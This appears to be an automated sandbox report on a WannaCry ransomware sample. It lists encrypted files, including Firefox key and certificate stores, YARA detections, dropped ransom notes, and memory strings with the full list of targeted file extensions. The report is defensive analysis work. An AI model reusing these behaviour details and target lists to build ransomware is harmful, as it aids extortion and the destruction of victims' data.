          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRY (copy) entropy: 7.99616459662Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRY (copy) entropy: 7.99913816436Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRY (copy) entropy: 7.99926317248Jump to dropped file

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: f_000112, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: f_000112, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: f_000112, type: SAMPLEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 0.2.f_000112.exe.957150.0.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
          Source: 151.2.f_000112.exe.10000000.1.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
          Source: 151.2.f_000112.exe.ac6d78.0.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
          Source: 151.2.f_000112.exe.ac6d78.0.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
          Source: 0.2.f_000112.exe.957150.0.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
          Source: 0.0.f_000112.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 0.0.f_000112.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 0.0.f_000112.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 00000000.00000000.1182915261.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000097.00000002.1486778003.000000000040F000.00000004.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
          Source: C:\Users\user\Desktop\f_000112.exeProcess Stats: CPU usage > 24%
          Source: C:\Windows\System32\SIHClient.exeFile created: C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\TMPEB70.tmp
          Source: C:\Windows\System32\SIHClient.exeFile created: C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMPCB80.tmp
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10006940151_2_10006940
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10006640151_2_10006640
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10006280151_2_10006280
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10005DC0151_2_10005DC0
          Source: f_000112Static PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract, compression method=deflate
          Source: taskdl.exe.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
          Source: f_000112.exe, 00000000.00000003.1188562548.00000000025E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs f_000112
          Source: f_000112.exe, 00000000.00000003.1203475391.000000000097D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs f_000112
          Source: f_000112.exe, 00000000.00000003.1188597824.00000000025D3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs f_000112
          Source: f_000112.exe, 00000000.00000002.2435327186.0000000000948000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekbdlv.dllj% vs f_000112
          Source: f_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs f_000112
          Source: f_000112.exe, 00000097.00000002.1487119957.0000000000AB7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekbdlv.dllj% vs f_000112
          Source: f_000112.exe, 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekbdlv.dllj% vs f_000112
          Source: f_000112Binary or memory string: OriginalFilenamediskpart.exej% vs f_000112
          Source: f_000112Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: f_000112, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: f_000112, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: f_000112, type: SAMPLEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 0.2.f_000112.exe.957150.0.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
          Source: 151.2.f_000112.exe.10000000.1.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
          Source: 151.2.f_000112.exe.ac6d78.0.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
          Source: 151.2.f_000112.exe.ac6d78.0.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
          Source: 0.2.f_000112.exe.957150.0.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
          Source: 0.0.f_000112.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 0.0.f_000112.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 0.0.f_000112.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 00000000.00000000.1182915261.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000097.00000002.1486778003.000000000040F000.00000004.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: f_000112.exe, 00000000.00000003.1203475391.000000000097D000.00000004.00000020.00020000.00000000.sdmp, f_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!
          Source: f_000112.exe, 00000000.00000002.2435327186.0000000000948000.00000004.00000020.00020000.00000000.sdmp, f_000112.exe, 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmp, f_000112.exe, 00000097.00000002.1487119957.0000000000AB7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.edb.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.dotx.dotm.dot.docm.docb.jpg.jpeg.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.eml.msg.ost.pst.pptx.ppt.xlsx.xls.docx.doc%s\%d%s.WNCRYT%s%sTWANACRY!.WNCRY.WNCYR\\@WanaDecryptor@.bmp@WanaDecryptor@.exe.lnk@Please_Read_Me@.txt%s\%s...%s\*.dll.exe~SD@WanaDecryptor@.exeContent.IE5Temporary Internet Files This folder protects against ransomware. Modifying it will reduce protection\Local Settings\Temp\AppData\Local\Temp\Program Files (x86)\Program Files\WINDOWS\ProgramData\Intel$\CloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
          Source: f_000112Binary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
          Source: classification engineClassification label: mal100.rans.evad.win@910/1176@0/0
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10005540 GetDriveTypeW,InterlockedExchangeAdd,GetDiskFreeSpaceExW,Sleep,GetDiskFreeSpaceExW,Sleep,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,InterlockedExchange,GetDriveTypeW,151_2_10005540
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\b.wnryJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6956:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6948:120:WilError_03
          Source: C:\Windows\System32\MoUsoCoreWorker.exeMutant created: \BaseNamedObjects\Global\MoUsoCoreworkerRunning
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7112:120:WilError_03
          Source: C:\Windows\System32\SIHClient.exeMutant created: {376155FF-95A0-46CA-8F57-ACB09EA70153}
          Source: C:\Users\user\Desktop\f_000112.exeMutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
